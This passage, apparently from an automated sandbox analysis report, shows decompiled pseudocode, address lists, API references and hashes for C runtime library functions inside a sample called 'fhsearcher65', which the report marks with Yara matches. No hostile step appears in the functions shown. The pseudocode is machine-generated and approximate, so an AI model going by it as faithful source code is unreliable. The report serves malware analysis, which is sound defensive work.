										if(_t61 == 0) {
											_t61 = E00412F7B(_t103, _t108[0x18], E004104CF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E004104CF();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x0041226b
0x0041226d
0x00412272
0x00412277
0x00412279
0x0041227c
0x00412281
0x00412391
0x00412391
0x00412391
0x00000000
0x00412290
0x00412290
0x00412295
0x0041229f
0x004122a1
0x004122a6
0x004122ab
0x004122ab
0x004122ad
0x004122b0
0x004122b5
0x004122d7
0x004122d7
0x004122da
0x004122dd
0x004122fb
0x004122fe
0x0041233d
0x00412340
0x00412343
0x00412368
0x0041236a
0x00000000
0x0041236c
0x0041236c
0x0041236e
0x00000000
0x00412370
0x00412370
0x00412375
0x00412379
0x00412379
0x0041237a
0x00000000
0x0041237a
0x0041236e
0x00412345
0x00412345
0x00412347
0x00000000
0x00412349
0x00412349
0x0041234b
0x00000000
0x0041234d
0x0041235e
0x00000000
0x00412363
0x0041234b
0x00412347
0x00412300
0x00412300
0x00412304
0x00000000
0x0041230a
0x0041230a
0x0041230c
0x00000000
0x00412312
0x00412319
0x00412321
0x00412325
0x00412327
0x0041232a
0x0041232f
0x00412330
0x00000000
0x00412330
0x0041232a
0x00000000
0x00412325
0x0041230c
0x00412304
0x004122df
0x004122df
0x00000000
0x004122df
0x004122bc
0x004122bc
0x004122c1
0x004122c6
0x00000000
0x004122c8
0x004122ca
0x004122d3
0x004122e2
0x004122e4
0x004123a3
0x004123a3
0x004123a8
0x004123a9
0x004123ab
0x004123b0
0x004123b5
0x004123b8
0x004123bb
0x004123be
0x004123c7
0x004123c7
0x004123c0
0x004123c0
0x004123c0
0x004123ca
0x004123ce
0x004123d1
0x004123d2
0x004123d3
0x004123d4
0x004123d7
0x004123e0
0x004123e0
0x004123e3
0x00412419
0x004123e5
0x004123e5
0x004123e5
0x004123e8
0x004123ff
0x004123ff
0x004123e8
0x0041241e
0x00412428
0x00412434
0x004122f2
0x004122f2
0x004122f7
0x004122f8
0x00412332
0x00412339
0x0041237d
0x0041237d
0x00412384
0x00412393
0x00412396
0x004123a2
0x004123a2
0x004122e4
0x004122c6
0x00000000
0x00000000
0x00000000
0x00412295

APIs

___AdjustPointer.LIBCMT ref: 00412332
___AdjustPointer.LIBCMT ref: 00412355
___AdjustPointer.LIBCMT ref: 004123F1

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 80e4c6f26ba7334f5a5febbfeaab13f076be28ca29f4fe9612eefe3137f592ce
Instruction ID: 1ca6e8291ae8a97350a546a9be7bdafa3b31b8d182f7812a74dc5b5851eb1c87
Opcode Fuzzy Hash: 80e4c6f26ba7334f5a5febbfeaab13f076be28ca29f4fe9612eefe3137f592ce
Instruction Fuzzy Hash: B951F37260120AAFDB288F21DA41BEA73A4EF00310F14416FED55D6691D7BDEDE1CB98

Uniqueness

Uniqueness Score: -1.00%

Function 100049CA Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E100049CA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x10015860);
				E10003C50(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E10005BC0(_t107, E1000435B(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E10005BC0(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x10017cd4; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x10010164();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E100076E4(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x10015880);
									E10003C50(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E100049CA(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E100056CA(_t103, _t108[0x18], E1000435B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E100056DA(_t103, _t108[0x18], E1000435B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E1000435B();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x100049ca
0x100049cc
0x100049d1
0x100049d6
0x100049d8
0x100049db
0x100049e0
0x10004af0
0x10004af0
0x10004af0
0x00000000
0x100049ef
0x100049ef
0x100049f4
0x100049fe
0x10004a00
0x10004a05
0x10004a0a
0x10004a0a
0x10004a0c
0x10004a0f
0x10004a14
0x10004a36
0x10004a36
0x10004a39
0x10004a3c
0x10004a5a
0x10004a5d
0x10004a9c
0x10004a9f
0x10004aa2
0x10004ac7
0x10004ac9
0x00000000
0x10004acb
0x10004acb
0x10004acd
0x00000000
0x10004acf
0x10004acf
0x10004ad4
0x10004ad8
0x10004ad8
0x10004ad9
0x00000000
0x10004ad9
0x10004acd
0x10004aa4
0x10004aa4
0x10004aa6
0x00000000
0x10004aa8
0x10004aa8
0x10004aaa
0x00000000
0x10004aac
0x10004abd
0x00000000
0x10004ac2
0x10004aaa
0x10004aa6
0x10004a5f
0x10004a5f
0x10004a63
0x00000000
0x10004a69
0x10004a69
0x10004a6b
0x00000000
0x10004a71
0x10004a78
0x10004a80
0x10004a84
0x10004a86
0x10004a89
0x10004a8e
0x10004a8f
0x00000000
0x10004a8f
0x10004a89
0x00000000
0x10004a84
0x10004a6b
0x10004a63
0x10004a3e
0x10004a3e
0x00000000
0x10004a3e
0x10004a1b
0x10004a1b
0x10004a20
0x10004a25
0x00000000
0x10004a27
0x10004a29
0x10004a32
0x10004a41
0x10004a43
0x10004b02
0x10004b02
0x10004b07
0x10004b08
0x10004b0a
0x10004b0f
0x10004b14
0x10004b17
0x10004b1a
0x10004b1d
0x10004b26
0x10004b26
0x10004b1f
0x10004b1f
0x10004b1f
0x10004b29
0x10004b2d
0x10004b30
0x10004b31
0x10004b32
0x10004b33
0x10004b36
0x10004b3f
0x10004b3f
0x10004b42
0x10004b78
0x10004b44
0x10004b44
0x10004b44
0x10004b47
0x10004b5e
0x10004b5e
0x10004b47
0x10004b7d
0x10004b87
0x10004b93
0x10004a51
0x10004a51
0x10004a56
0x10004a57
0x10004a91
0x10004a98
0x10004adc
0x10004adc
0x10004ae3
0x10004af2
0x10004af5
0x10004b01
0x10004b01
0x10004a43
0x10004a25
0x00000000
0x00000000
0x00000000
0x100049f4

APIs

___AdjustPointer.LIBCMT ref: 10004A91
___AdjustPointer.LIBCMT ref: 10004AB4
___AdjustPointer.LIBCMT ref: 10004B50

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d7e06759a182467ecbddfc5be9e71537fdf669dd7d98f9716886f151031a7616
Instruction ID: c86ceda4d1325f0568557c1dae7b0478574bf977d686f1191d636807e4b9891e
Opcode Fuzzy Hash: d7e06759a182467ecbddfc5be9e71537fdf669dd7d98f9716886f151031a7616
Instruction Fuzzy Hash: 5D5103B6A04606AFFB18CF50C841B6A77A4EF403D1F12412DED0687199EF32EC40C799

Uniqueness

Uniqueness Score: -1.00%

Function 0042B6EE Relevance: 6.1, APIs: 4, Instructions: 132
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E0042B6EE(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v20;
				int _v24;
				int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _t30;
				signed int _t31;
				intOrPtr* _t36;
				int _t40;
				int _t41;
				void* _t42;
				void* _t54;
				void* _t56;
				signed int _t58;
				intOrPtr _t59;
				int _t60;
				void* _t62;
				void* _t63;
				int _t68;

				_t58 = __edx;
				_t50 = _a4;
				E0042B6A1( &_v44, __edx, _a4, _a8, _a12);
				if((_v44 & _v40) == 0xffffffff || (_v36 & _v32) == 0xffffffff) {
					L28:
					_t59 =  *((intOrPtr*)(E004139A1(__eflags)));
					goto L29;
				} else {
					_t30 = _v24;
					_t60 = _v28;
					_v8 = _t30;
					_t68 = _t30;
					if(_t68 < 0) {
						L25:
						_t31 = E0041D508(_t50, _a8, _a12, 0);
						_t63 = _t63 + 0x10;
						__eflags = (_t31 & _t58) - 0xffffffff;
						if(__eflags == 0) {
							goto L28;
						}
						__eflags = SetEndOfFile(E00425962(_t50));
						if(__eflags != 0) {
							L18:
							_t59 = 0;
							L29:
							E0041D508(_v20, _v44, _v40, 0);
							return _t59;
						}
						 *((intOrPtr*)(E004139A1(__eflags))) = 0xd;
						_t36 = E0041398E(__eflags);
						 *_t36 = GetLastError();
						goto L28;
					}
					if(_t68 > 0 || _t60 != 0) {
						_t62 = E0041E60B(0x1000, 1);
						_pop(_t54);
						_t70 = _t62;
						if(_t62 != 0) {
							_v12 = E0041B28A(_t54, _t50, 0x8000);
							_t40 = _v24;
							_pop(_t56);
							do {
								__eflags = _t40;
								if(__eflags < 0) {
									L12:
									_t41 = _t60;
									L13:
									_t42 = E004213D8(_t50, _t62, _t41);
									_t63 = _t63 + 0xc;
									__eflags = _t42 - 0xffffffff;
									if(__eflags == 0) {
										__eflags =  *((intOrPtr*)(E0041398E(__eflags))) - 5;
										if(__eflags == 0) {
											 *((intOrPtr*)(E004139A1(__eflags))) = 0xd;
										}
										L21:
										_t59 =  *((intOrPtr*)(E004139A1(_t70)));
										E0041E668(_t62);
										goto L29;
									}
									asm("cdq");
									_t60 = _t60 - _t42;
									_t40 = _v8;
									asm("sbb eax, edx");
									_v8 = _t40;
									__eflags = _t40;
									if(__eflags > 0) {
										L11:
										_t41 = 0x1000;
										goto L13;
									}
									if(__eflags < 0) {
										break;
									}
									goto L16;
								}
								if(__eflags > 0) {
									goto L11;
								}
								__eflags = _t60 - 0x1000;
								if(_t60 < 0x1000) {
									goto L12;
								}
								goto L11;
								L16:
								__eflags = _t60;
							} while (_t60 != 0);
							E0041B28A(_t56, _t50, _v12);
							E0041E668(_t62);
							_t63 = _t63 + 0xc;
							goto L18;
						}
						 *((intOrPtr*)(E004139A1(_t70))) = 0xc;
						goto L21;
					} else {
						__eflags = _t30;
						if(__eflags > 0) {
							goto L18;
						}
						if(__eflags < 0) {
							goto L25;
						}
						__eflags = _t60;
						if(_t60 >= 0) {
							goto L18;
						}
						goto L25;
					}
				}
			}

0x0042b6ee
0x0042b6f7
0x0042b706
0x0042b714
0x0042b83d
0x0042b842
0x00000000
0x0042b729
0x0042b729
0x0042b72c
0x0042b72f
0x0042b732
0x0042b734
0x0042b7f9
0x0042b802
0x0042b809
0x0042b80c
0x0042b80f
0x00000000
0x00000000
0x0042b81f
0x0042b821
0x0042b7c6
0x0042b7c6
0x0042b844
0x0042b84f
0x0042b85d
0x0042b85d
0x0042b828
0x0042b82e
0x0042b83b
0x00000000
0x0042b83b
0x0042b73a
0x0042b750
0x0042b753
0x0042b754
0x0042b756
0x0042b771
0x0042b774
0x0042b777
0x0042b778
0x0042b778
0x0042b77a
0x0042b78d
0x0042b78d
0x0042b78f
0x0042b792
0x0042b797
0x0042b79a
0x0042b79d
0x0042b7cf
0x0042b7d2
0x0042b7d9
0x0042b7d9
0x0042b7df
0x0042b7e5
0x0042b7e7
0x00000000
0x0042b7ec
0x0042b79f
0x0042b7a0
0x0042b7a2
0x0042b7a5
0x0042b7a7
0x0042b7aa
0x0042b7ac
0x0042b786
0x0042b786
0x00000000
0x0042b786
0x0042b7ae
0x00000000
0x00000000
0x00000000
0x0042b7ae
0x0042b77c
0x00000000
0x00000000
0x0042b77e
0x0042b784
0x00000000
0x00000000
0x00000000
0x0042b7b0
0x0042b7b0
0x0042b7b0
0x0042b7b8
0x0042b7be
0x0042b7c3
0x00000000
0x0042b7c3
0x0042b75d
0x00000000
0x0042b7ef
0x0042b7ef
0x0042b7f1
0x00000000
0x00000000
0x0042b7f3
0x00000000
0x00000000
0x0042b7f5
0x0042b7f7
0x00000000
0x00000000
0x00000000
0x0042b7f7
0x0042b73a

APIs

_free.LIBCMT ref: 0042B7BE
_free.LIBCMT ref: 0042B7E7
SetEndOfFile.KERNEL32(00000000,004289BC,00000000,0041E4A8,?,?,?,?,?,?,?,004289BC,0041E4A8,00000000), ref: 0042B819
GetLastError.KERNEL32(?,?,?,?,?,?,?,004289BC,0041E4A8,00000000,?,?,?,?,00000000), ref: 0042B835

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 2ca497fc91381f62b06e1698c993a74e06cac8344682dfd5eb76ed17aed4f865
Instruction ID: d2630b7e184f9fcd1b22a32bf902652b02087ad3412df2ebe102b073923d91bb
Opcode Fuzzy Hash: 2ca497fc91381f62b06e1698c993a74e06cac8344682dfd5eb76ed17aed4f865
Instruction Fuzzy Hash: 464117B2B002109BDB116FBADC42A9E7769EFC4365F94011BF814E7291DB7CC88187A9

Uniqueness

Uniqueness Score: -1.00%

Function 00423F1F Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423F1F(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E00420444(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E00420444(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E0041396B(GetLastError());
									_t19 =  *((intOrPtr*)(E004139A1(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E004244E5(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E0041396B(GetLastError());
						return  *((intOrPtr*)(E004139A1(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E004244E5(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E0041A128(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x00423f26
0x00423f2b
0x00423f49
0x00423f4b
0x00423f4e
0x00423f7b
0x00423f83
0x00423f85
0x00423f9e
0x00423fa1
0x00423fa4
0x00423fb2
0x00423fc1
0x00423fc9
0x00423fcb
0x00423fe4
0x00423fe7
0x00423fe7
0x00423fcd
0x00423fd4
0x00423fdf
0x00423fdf
0x00423fe9
0x00000000
0x00423fe9
0x00423fa9
0x00423fae
0x00423fb0
0x00000000
0x00000000
0x00000000
0x00423fb0
0x00423f8e
0x00000000
0x00423f99
0x00423f50
0x00423f53
0x00423f56
0x00423f69
0x00423f6c
0x00423f3f
0x00423f3f
0x00000000
0x00423f42
0x00423f5c
0x00423f61
0x00423f63
0x00423fed
0x00423fed
0x00000000
0x00423f63
0x00423f2d
0x00423f32
0x00423f37
0x00423f39
0x00423f3c
0x00000000

APIs

Part of subcall function 0041A128: _free.LIBCMT ref: 0041A136

Part of subcall function 00420444: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0042175E,?,00000000,00000000), ref: 004204F0

GetLastError.KERNEL32 ref: 00423F87
__dosmaperr.LIBCMT ref: 00423F8E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00423FCD
__dosmaperr.LIBCMT ref: 00423FD4

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
Instruction ID: d4e88584aab937e17f514f1af8ce6a730bd41047e56f0cdb3115460f187989c4
Opcode Fuzzy Hash: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
Instruction Fuzzy Hash: 552168B1B002256F9B206F67BD80D2BB3BCEF0036A791811BF91893240D73DEE4187A5

Uniqueness

Uniqueness Score: -1.00%

Function 100092C2 Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100092C2(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E1000A4B8(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E1000A4B8(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E100063D0(GetLastError());
									_t19 =  *((intOrPtr*)(E10006406(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E100098FE(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E100063D0(GetLastError());
						return  *((intOrPtr*)(E10006406(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E100098FE(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E100098E4(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

0x100092c9
0x100092ce
0x100092ec
0x100092ee
0x100092f1
0x1000931e
0x10009326
0x10009328
0x10009341
0x10009344
0x10009347
0x10009355
0x10009364
0x1000936c
0x1000936e
0x10009387
0x1000938a
0x1000938a
0x10009370
0x10009377
0x10009382
0x10009382
0x1000938c
0x00000000
0x1000938c
0x1000934c
0x10009351
0x10009353
0x00000000
0x00000000
0x00000000
0x10009353
0x10009331
0x00000000
0x1000933c
0x100092f3
0x100092f6
0x100092f9
0x1000930c
0x1000930f
0x100092e2
0x100092e2
0x00000000
0x100092e5
0x100092ff
0x10009304
0x10009306
0x10009390
0x10009390
0x00000000
0x10009306
0x100092d0
0x100092d5
0x100092da
0x100092dc
0x100092df
0x00000000

APIs

Part of subcall function 100098E4: _free.LIBCMT ref: 100098F2

Part of subcall function 1000A4B8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000D2A0,?,00000000,00000000), ref: 1000A564

GetLastError.KERNEL32 ref: 1000932A
__dosmaperr.LIBCMT ref: 10009331
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10009370
__dosmaperr.LIBCMT ref: 10009377

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 6740b73893a9458362bcae6edf410e802fc9121dd722963b93f7f203b79a7553
Instruction ID: 0ddff17f411571237369bc97fdb35948c87631787bb5b9b786b2356b208bbcd2
Opcode Fuzzy Hash: 6740b73893a9458362bcae6edf410e802fc9121dd722963b93f7f203b79a7553
Instruction Fuzzy Hash: 6B21B07560021AAFFB10DF618C81D1BB7ADEF442E47118618F968972D5EB70ED509BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041CF13 Relevance: 6.1, APIs: 4, Instructions: 72
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041CF13(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x43d1c8; // 0x7
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E0041EB8F(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E0041E60B(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E0041EB8F(__eflags,  *0x43d1c8, _t51);
							if(__eflags != 0) {
								E0041CD41(_t51, 0x4508d8);
								E0041E668(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E0041EB8F(__eflags,  *0x43d1c8, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E0041EB8F(0,  *0x43d1c8, 0);
							_push(0);
							L9:
							E0041E668();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E0041EB50(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x43d1c8; // 0x7
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E00419FF9(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x43d1c8; // 0x7
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E0041EB8F(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E0041E60B(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E0041EB8F(__eflags,  *0x43d1c8, _t60);
								if(__eflags != 0) {
									E0041CD41(_t60, 0x4508d8);
									E0041E668(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E0041EB8F(__eflags,  *0x43d1c8, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E0041EB8F(__eflags,  *0x43d1c8, _t20);
								_push(_t60);
								L25:
								E0041E668();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E0041EB50(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
